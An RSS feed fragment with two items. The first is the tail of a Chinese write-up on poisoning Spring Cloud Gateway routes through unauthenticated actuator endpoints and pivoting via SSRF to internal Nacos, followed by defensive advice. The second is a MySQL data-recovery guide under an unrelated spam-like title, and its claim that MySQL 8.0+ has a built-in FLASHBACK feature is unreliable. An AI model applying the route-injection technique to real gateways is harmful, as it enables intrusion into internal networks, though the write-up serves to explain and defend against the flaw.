&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;uri&amp;quot;:&amp;quot;http://ip:port&amp;quot;,&amp;quot;order&amp;quot;:-102}&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;然后进行访问，终于有点不一样的地方了：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142525599-1399096227.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;Springboot经典报错页面，这就完全&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;证实了路由投毒的可行性&lt;/strong&gt;，在这里就相当于读取构造的内网的路径，即&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;http://ip:port/1&lt;/code&gt;，而这个路径不存在，所以就会报错，既然这样的话，那么内网会不会也存在actuator呢，尝试进行构造之后发现并没有相应的数据，那么可能还存在固定前缀，而之前&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;env&lt;/strong&gt;里面有另一个内网地址，测了nacos但是显示404，那么在这里同样也进行尝试，在这里有一个关键的突破口：&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;nacos/auth/user&lt;/code&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;输入这个路径之后服务器会重定向到另一个内网地址的登陆界面，而去掉nacos则还是原来的报错界面，说明这里的前缀就是&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;nacos&lt;/strong&gt;，auth/user进行了鉴权没有登录便会重定向到&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;auth/login&lt;/code&gt;界面，完全证实了&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;context-path&lt;/code&gt;就是nacos。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;那么加上这个前缀再跑个actuator，手工或者工具皆可，这样就会出现具体的数据了&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142551020-3026397.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;同时还有&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;admin/v2/api-docs&lt;/code&gt;等等，再往下去就是内网的进一步渗透了，这里就不再描述了。&lt;/p&gt;&lt;hr style=&quot;box-sizing: border-box; border-top: rgba(0, 0, 0, 0.15); border-right-color: rgba(0, 0, 0, 0.15); border-bottom-color: rgba(0, 0, 0, 0.15); border-left-color: rgba(0, 0, 0, 0.15); margin: 5px 0px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243);&quot;/&gt;&lt;h1 id=&quot;写在最后&quot; style=&quot;box-sizing: border-box; font-size: 28px; line-height: 1.5; margin: 10px 0px; border-left: 4px solid rgb(33, 150, 243); padding-left: 15px; font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); color: rgb(26, 26, 26) !important; text-align: left;&quot;&gt;写在最后&lt;/h1&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;至此，一次从 Actuator 未授权端点入手，到最终验证应用层路由投毒可行性、并触达内网关键服务的完整攻击链已清晰呈现。回看整条路径：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;信息泄露&lt;/strong&gt;：&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/actuator/mappings&lt;/code&gt;&amp;nbsp;暴露了网关动态路由管理接口；&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;权限绕过&lt;/strong&gt;：&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/actuator/gateway/refresh&lt;/code&gt;&amp;nbsp;与&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/routes/{id}&lt;/code&gt;&amp;nbsp;未做认证，允许外部写入；&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;路由污染&lt;/strong&gt;：通过构造低 order 的恶意&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;RouteDefinition&lt;/code&gt;，将特定 Path 流量劫持至攻击者控制的 URI；&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;前缀剥离&lt;/strong&gt;：利用&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;StripPrefix&lt;/code&gt;&amp;nbsp;过滤器适配内网服务的真实路径格式；&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;内网探测&lt;/strong&gt;：以网关为跳板，向本机及内网 IP 发起 SSRF 请求，通过响应特征（&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Tomcat 404、Redis 错误、SpringBoot 报错、Nacos 重定向&lt;/code&gt;）逐步推断存活服务与上下文路径；&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;横向渗透&lt;/strong&gt;：最终定位到内网 Nacos 等管理组件，为进一步的攻击提供了入口。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;这并非高深莫测的 0‑day，而是由配置疏忽 + 默认信任假设共同酿成的“低级但致命”组合漏洞。它提醒我们：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;控制平面即攻击面&lt;/strong&gt;——任何能修改路由表的接口（无论是 RIP/BGP 还是 Actuator/REST API）都必须置于严格的认证与授权之下，绝不能依赖“内网安全”的隐性假设；&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;路由投毒是决策层污染&lt;/strong&gt;——它不直接攻破系统，却让系统主动将流量送往攻击者指定的目的地，其隐蔽性远高于传统的流量嗅探或中间人劫持；&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;网关是现代架构的新核心路由器&lt;/strong&gt;——在微服务和云原生环境下，API 网关的路由表等同于传统网络的全局路由表，它的安全性应被提升至与边界路由器同等重要的等级。&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;对于防御方，至少可以从以下几方面加固：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;Actuator 端点强制认证&lt;/strong&gt;：使用&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;spring.security&lt;/code&gt;&amp;nbsp;或独立鉴权过滤器，为所有&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;/actuator/**&lt;/code&gt;&amp;nbsp;路径配置角色控制，避免暴露于公网；&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;动态路由变更审计&lt;/strong&gt;：对路由注册、刷新、删除操作记录详细日志，并设置异常告警（如短时间内大量新增路由或超低 order 值）；&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;入站路由校验&lt;/strong&gt;：网关应校验&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;RouteDefinition&lt;/code&gt;&amp;nbsp;的 uri 白名单（仅允许内部服务名或特定外网域），禁止指向内网 IP 段或本地回环地址；&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;网络层隔离&lt;/strong&gt;：将管理网络与业务网络分离，确保 Actuator 端口仅对受信任的堡垒机开放；&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;定期渗透测试&lt;/strong&gt;：将动态路由接口纳入常规安全测试用例，检查是否存在未授权写入、SSRF 等问题。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Thu, 20 Aug 2026 13:52:06 +0800</pubDate></item><item><title>微信牛牛机器人   MySQL 误删数据后的恢复策略主要取决于是否开启了备份机制以及 Binlog（二进制日志）功能</title><link>http://www.cbtwr.com/?id=6</link><description>&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;MySQL 误删数据后的恢复策略主要取决于是否开启了备份机制以及 Binlog（二进制日志）功能。以下是针对不同场景的标准化恢复流程：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;一、 有完整备份的情况（最推荐）&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;如果定期进行了全量或增量备份，这是最安全、最快速的恢复方式。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;停止服务‌：立即停止 MySQL 服务，防止新数据写入覆盖旧数据或造成数据不一致。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;bash&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;systemctl stop mysqld&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;验证备份‌：确认最近的备份文件完整且可用。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;还原数据‌：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;如果是 SQL dump 文件，使用命令导入：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;bash&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;mysql -u 用户名 -p 数据库名 &amp;lt; backup_file.sql&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;如果是物理文件备份，直接替换数据目录下的对应文件。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;重启与验证‌：重启 MySQL 服务，检查数据是否完整恢复。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;二、 无备份但开启了 Binlog 的情况&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;Binlog 记录了所有修改数据的操作，可以通过“重放”日志来恢复误删前的状态。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;确认 Binlog 状态‌：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;执行 SHOW VARIABLES LIKE &amp;#39;%log_bin%&amp;#39;;，确保值为 ON。同时确认 binlog_format 最好为 ROW 模式（MySQL 8.0+ 支持更精细的回滚）。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;定位误操作时间点‌：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;使用 SHOW MASTER STATUS; 查看当前 Binlog 文件名和位置。结合业务日志或操作记录，确定误删操作的大致时间范围（例如：2026-08-01 10:00:00 至 12:00:00）。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;导出指定时间段日志‌：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;使用 mysqlbinlog 工具导出该时间段内的 SQL 语句：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;bash&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;mysqlbinlog --start-datetime=&amp;quot;2026-08-01 10:00:00&amp;quot; --stop-datetime=&amp;quot;2026-08-01 12:00:00&amp;quot; /var/log/mysql/mysql-bin.000001 &amp;gt; recovery.sql&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;清洗与执行恢复‌：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;打开 recovery.sql 文件，手动删除其中的 DELETE 或 DROP 等误操作语句。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;将处理后的 SQL 文件重新导入数据库：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;bash&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;mysql -u root -p 数据库名 &amp;lt; recovery.sql&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;注：MySQL 8.0+ 在 ROW 模式下可尝试使用 FLASHBACK 功能直接生成反向 SQL，效率更高。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;三、 无备份且无 Binlog 的情况（极端情况）&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;此时数据恢复难度极大，成功率取决于数据被覆盖的程度。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;立即止损‌：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;严禁‌任何写入操作（包括插入、更新、删除）。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;严禁‌重启数据库或操作系统，以免内存中的数据页刷盘覆盖残留数据。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;保留现场‌：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;对数据目录进行物理备份，防止后续操作破坏残留数据：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;bash&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;tar -czvf mysql_residual_backup.tar.gz /var/lib/mysql/&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;尝试文件系统级恢复‌：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;如果是 Linux ext3/ext4 文件系统，可尝试使用 extundelete 等工具恢复被删除的 .ibd 或 .frm 文件。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;注意：这种方法恢复出来的文件可能损坏，需要专业工具修复。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;使用专业数据恢复工具或服务‌：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;使用商业软件如 EaseUS、Wondershare Recoverit 或北亚企安等扫描磁盘扇区，尝试提取底层数据。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;若数据价值极高，建议联系专业数据恢复机构（如提供上门服务的创胜数据恢复等），他们拥有更底层的磁盘镜像分析和碎片重组技术。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;四、 预防建议&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: 